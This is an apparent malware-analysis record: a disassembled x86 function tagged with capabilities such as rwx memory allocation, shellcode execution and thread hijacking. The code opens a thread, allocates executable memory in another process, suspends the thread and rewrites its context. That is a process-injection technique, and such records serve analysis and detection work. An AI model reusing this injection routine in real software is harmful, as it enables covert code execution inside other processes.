Function at 0x53d4ba
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push 0x60
call fcn.005fffc4
add esp, 4
mov dword [ebp - 0xc], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 0x18
rep stosd dword es:[edi], eax
add ebx, 0x1c
push ebx
push 0x24
call fcn.005fffc4
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 9
rep stosd dword es:[edi], eax
add ebx, 0x1c
push ebx
push 0x58
call fcn.005fffc4
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0x77f569
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
xor eax, eax
mov ecx, 0x14
rep stosd dword es:[edi], eax
pop ebx
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
cmp dword [ebp + 8], 0
jne 0x53d59d
mov ebx, 6
call fcn.004d16d3
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push 0x78c665
push 4
mov ebx, 0x300
call fcn.00606300
add esp, 0x34
mov eax, 0
jmp 0x53e5a1
mov dword [ebp - 0x20], esp
push dword [ebp + 0x20]
push 0
push 0x1f03ff
call dword [sym.imp.kernel32.dll_OpenThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d5c9
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x53d614
mov ebx, 6
call fcn.004d16d3
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push 0x78c676
push 4
mov ebx, 0x300
call fcn.00606300
add esp, 0x34
mov eax, 0
jmp 0x53e5a1
mov dword [ebp - 0x20], esp
push 0x40
push 0x1000
push 0x7d0
push 0
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_VirtualAllocEx]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d64a
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x53d6d9
mov ebx, 6
call fcn.004d16d3
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
push 0x78c687
push 4
mov ebx, 0x300
call fcn.00606300
add esp, 0x34
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [0x7ad2f9]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d6ad
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp + 8]
call dword [0x7ad2f9]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d6cf
push 6
call fcn.005fffca
add esp, 4
mov eax, 0
jmp 0x53e5a1
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_SuspendThread]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d6fb
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0xffffffff
jne 0x53d7e9
push 0x80000301
push 0
push dword [ebp + 0x20]
push 1
mov ebx, 0x168
call fcn.00603590
add esp, 0x10
mov dword [ebp - 0x20], eax
push dword [ebp - 0x20]
push 0x78c694
mov ecx, 2
call fcn.004c5686
add esp, 8
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x53d74f
push ebx
call fcn.005fffbe
add esp, 4
mov ebx, 6
call fcn.004d16d3
push 0x80000301
push 0
push 0
push reloc.wsock32.dll_connect
push 0
mov eax, dword [ebp - 0x24]
test eax, eax
jne 0x53d778
mov eax, 0x760402
push eax
push 4
mov ebx, 0x300
call fcn.00606300
add esp, 0x34
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53d79b
push ebx
call fcn.005fffbe
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp - 4]
call dword [0x7ad2f9]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d7bd
push 6
call fcn.005fffca
add esp, 4
mov dword [ebp - 0x20], esp
push dword [ebp + 8]
call dword [0x7ad2f9]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d7df
push 6
call fcn.005fffca
add esp, 4
mov eax, 0
jmp 0x53e5a1
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov dword [ebx], 0x10007
mov dword [ebp - 0x20], esp
mov eax, dword [ebp - 0xc]
push eax
push 0xcc
call fcn.005fffc4
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_GetThreadContext]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53d988
push 6
call fcn.005fffca
add esp, 4
push eax
mov ebx, dword [ebp - 0x24]
push ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push edi
mov edi, dword [edi]
push ebx
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.006010d0
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x53da4f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x53da4d
imul eax, dword [edi]
jmp 0x53da42
mov ecx, eax
cmp ecx, 0x50
jle 0x53da59
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 0x70
pop edi
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
call fcn.005fffbe
add esp, 4
pop eax
mov ebx, dword [ebp - 0xc]
add ebx, 0x4c
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebx]
mov dword [ebp - 0x10], eax
push 0x7604ff
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004c8ae8
add esp, 8
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53db60
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
cmp dword [ebp + 0x14], 0
mov eax, 0
sete al
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x53dc73
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
call fcn.004c6a67
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor ecx, ecx
push eax
lea eax, [ebp - 0x1c]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x53dc70
mov ebx, dword [ebp + 0x10]
mov ebx, dword [ebx]
call fcn.004c6a80
push ebx
push ecx
fild dword [ebp - 0x18]
fstp qword [ebp - 0x24]
fld qword [ebp - 0x24]
fild dword [ebp - 0x1c]
fstp qword [ebp - 0x2c]
fsub qword [ebp - 0x2c]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fadd qword [0x760425]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
call fcn.004c58cd
dec eax
jns 0x53dbe9
push 4
call fcn.005fffca
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x53dbfc
push 1
call fcn.005fffca
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x40], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x40]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x44], eax
push dword [ebp - 0x44]
push 0x7604f6
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x53dc50
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53dc64
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
pop eax
pop ebx
pop ecx
jmp 0x53db96
add esp, 0xc
cmp dword [ebp + 0x1c], 0
mov eax, 0
sete al
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x53e0b6
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53dd12
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x14
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c06
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53dcfa
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53dd0e
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53dd98
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x10
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c10
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53dd80
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53dd94
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53de1e
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0xc
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c1a
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53de06
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53de1a
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53dea4
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c24
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53de8c
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53dea0
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53df2a
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c2e
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53df12
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53df26
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53dfb0
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c38
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53df98
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53dfac
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53e036
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c42
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53e01e
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53e032
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
mov dword [ebp - 0x20], ebx
mov ebx, dword [ebp - 0x20]
cmp dword [ebx], 0
je 0x53e0b6
mov ebx, dword [ebp + 0x18]
mov ebx, dword [ebx]
mov dword [ebp - 0x20], ebx
push 0x80000301
push 0
mov ebx, dword [ebp - 0x20]
push dword [ebx]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push 0x763c4c
push dword [ebp - 0x14]
mov ecx, 3
call fcn.004c8ae8
add esp, 0xc
mov dword [ebp - 0x28], eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x53e09e
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x28]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53e0b2
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.wsock32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x53e0c9
mov eax, 0x760403
push eax
push 1
mov ebx, 0x194
call fcn.006031d0
add esp, 0x10
mov dword [ebp - 0x20], eax
fild dword [ebp - 8]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
fild dword [ebp - 0x20]
fstp qword [ebp - 0x30]
fadd qword [ebp - 0x30]
fstp qword [ebp - 0x38]
push 1
fld qword [ebp - 0x38]
call fcn.004c58cd
push eax
push dword [ebp + 0xc]
call fcn.004d0d55
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x3c]
push dword [ebp - 0x14]
mov ecx, 2
call fcn.004c8ae8
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x53e130
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x40]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53e144
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push 0x80000301
push 0
push dword [ebp - 0x10]
push 1
mov ebx, 0x198
call fcn.00603380
add esp, 0x10
mov dword [ebp - 0x20], eax
push 0x78c6ab
push dword [ebp - 0x20]
push 0x78c6b4
push dword [ebp - 0x14]
mov ecx, 4
call fcn.004c8ae8
add esp, 0x10
mov dword [ebp - 0x24], eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x53e197
push ebx
call fcn.005fffbe
add esp, 4
mov eax, dword [ebp - 0x24]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x53e1ab
push ebx
call fcn.005fffbe
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.wsock32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x53e1c2
mov eax, 0x760403
push eax
push 1
mov ebx, 0x194
call fcn.006031d0
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], esp
mov eax, 0
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x53e1f4
add eax, 8
push eax
push dword [ebp - 8]
push dword [ebp + 8]
call dword [0x7ad481]
nop
nop
nop
nop
cmp dword [ebp - 0x24], esp
je 0x53e217
push 6
call fcn.005fffca
add esp, 4
mov ebx, dword [ebp - 0xc]
add ebx, 0x4c
mov dword [ebp - 0x20], ebx
mov eax, dword [ebp - 8]
mov ebx, dword [ebp - 0x20]
mov dword [ebx], eax
mov dword [ebp - 0x20], esp
mov eax, dword [ebp - 0xc]
push eax
push 0xcc
call fcn.005fffc4
add esp, 4
mov edi, eax
pop ebx
push eax
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], eax
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
mov ebx, dword [ebx]
add ebx, 8
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push dword [ebp - 4]
call dword [sym.imp.kernel32.dll_SetThreadContext]
nop
nop
nop
nop
cmp dword [ebp - 0x20], esp
je 0x53e3b8
push 6
call fcn.005fffca
add esp, 4
push eax
mov ebx, dword [ebp - 0x24]
push ebx
mov edi, dword [ebp - 0x28]
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push edi
mov edi, dword [edi]
push ebx
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
push ebx
push edi
push 1
mov eax, 2
call fcn.006010d0
add esp, 4
pop edi
pop ebx
push ebx
push edi
mov edi, dword [edi]
mov ecx, dword [edi]
add edi, 4
test ecx, ecx
je 0x53e47f
mov eax, dword [edi]
add edi, 4
dec ecx
je 0x53e47d
imul eax, dword [edi]
jmp 0x53e472
mov ecx, eax
cmp ecx, 0x50
jle 0x53e489
mov ecx, 0x50
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
pop edi
pop ebx
add edi, 4
add ebx, 0x50
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
pop ebx
add ebx, 0x70
pop edi
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
add edi, 4
mov eax, dword [ebx]
add ebx, 4
mov dword [edi], eax
